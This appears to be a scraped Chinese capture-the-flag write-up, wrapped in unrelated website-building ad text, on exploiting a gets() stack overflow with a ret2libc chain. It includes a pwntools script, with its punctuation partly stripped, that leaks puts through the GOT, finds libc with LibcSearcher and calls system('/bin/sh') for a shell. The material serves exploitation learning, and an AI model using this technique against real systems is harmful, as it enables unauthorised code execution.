西安网站建设小程序金融网站建设运营方案
2026/4/2 20:07:17 网站建设 项目流程
西安网站建设小程序,金融网站建设运营方案,中国十大广告公司,马云做中国最大的网站查看 main 函数#xff1a;imageimageimage再结合程序的运行#xff0c;我们输入的值存到了 v4 中#xff0c;当 v42 时#xff0c;程序重新再次执行 begin() 函数#xff0c;若输入 3#xff0c;则直接退出程序#xff0c;只有当我们输入 1 的时候#xff0c;程序才会…查看 main 函数imageimageimage再结合程序的运行我们输入的值存到了 v4 中当 v42 时程序重新再次执行 begin() 函数若输入 3则直接退出程序只有当我们输入 1 的时候程序才会调用 encrypt() 函数。查看 encrypt() 函数。gets() 读取输入并进入循环通过 strlen(s) 获取用户输入的字节长度并对字符进行一系列异或操作。image发现存在 gets() 高危函数猜测存在栈溢出漏洞。但是这道题没有 system(/bin/sh)并且文件开启了 NX 保护因此 ret2shellcode、ret2text基本排除了所以只能是 ret2libc。ret2libc 是不直接注入 shellcode 因为程序通常具有 NX 保护栈不可知执行而是通过利用程序自身加载的动态链接库比如 libc.so中的函数如 system()、execve()等来执行任意的代码。但是这道题并没有给出 libc.so 文件并且程序自身也没有 system 函数和 /bin/sh 字符串所以就需要先泄露程序中的函数地址再查询 libc 版本并找到 system 函数和 /bin/sh 字符串的内存地址。再分析 encrypt() 函数strlen 函数是一个C库中的函数主要用于计算以空字符 “\0”为结尾的字符串长度它会从传入的字符串开始检查每一个字符直到遇到 “\0” 为止然后返回遇到的字符串个数其中不包括 \0 本身例如给定字符串 “hello”strlen 函数会返回5但是如果在字符串开头加上 \0那么此时 strlen 函数就会返回0例如输入字符串 \0hellostrlen 函数就会返回0因为 strlen 函数的机制就是遇到 \0 就停止计数在 encrypt() 函数的后续有说明当 v0 strlen(s)但是由于 strlen 返回的就是0所以 v0strlen(s) 为假条件不成立则跳出循环即跳过了 encrypt 函数对字符串进行异或操作的逻辑以达到 “破坏” 加密流程的目的目的就是不让他进行加密操作。因为函数没有 system 、/bin/sh所以攻击会变得较为复杂步骤1、泄露libc函数地址puts2、计算其他libc函数地址system3、构造ROP链/bin/sh具体流程先泄露 puts 函数 plt再泄露 puts 函数 got 表栈溢出覆盖返回地址控制流程使其跳转到 putsplt设置 put 参数的内存地址为 got即泄露 puts 在内存中的实际地址再返回 main 函数为什么是 main 函数因为需要返回到可以再次触发漏洞的攻击函数方便二次攻击。再得到puts的真实地址后使用得到puts地址并结合ibc数据库匹配相对应的libc版本再计算其他函数的偏移地址。最终exp调试了快两天才最终于2025/10/12/14:40成功from pwn import *from LibcSearcher import *#startr remote(node5.buuoj.cn,28626)#r process(./pwn)elf ELF(./pwn)#libcELF(/lib/x86_64-linux-gnu/libc.so.6) #ldd pwncontext.log_leveldebug#paramsrdi_addr 0x400C83ret_addr 0x4006b9puts_plt elf.plt[puts]puts_got elf.got[puts]main_addr elf.sym[main]#attackpayload ba*(0x50 8) p64(rdi_addr) p64(puts_got) p64(puts_plt) p64(main_addr)r.sendlineafter(bchoice,b1)r.sendline(payload)puts_addr u64(r.recvuntil(b\x7f)[-6:].ljust(8,b\x00))#puts_addr u64(r.recvline()[:-1].ljust(8,b\0))print(hex(puts_addr))#libclibc LibcSearcher(puts,puts_addr)base_addr puts_addr - libc.dump(puts)system_addr base_addr libc.dump(system)bin_sh_addr base_addr libc.dump(str_bin_sh)#base_addr puts_addr - libc.symbols[puts]#system_addr base_addr libc.symbols[system]#bin_sh_addr base_addr next(libc.search(b/bin/sh))#attack2payload2 ba*(0x508) p64(ret_addr) p64(rdi_addr) p64(bin_sh_addr) p64(system_addr)r.sendlineafter(bchoice,b1)r.recvuntil(bencrypted)r.sendline(payload2)r.interactive()参考1000x_师傅的文章。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询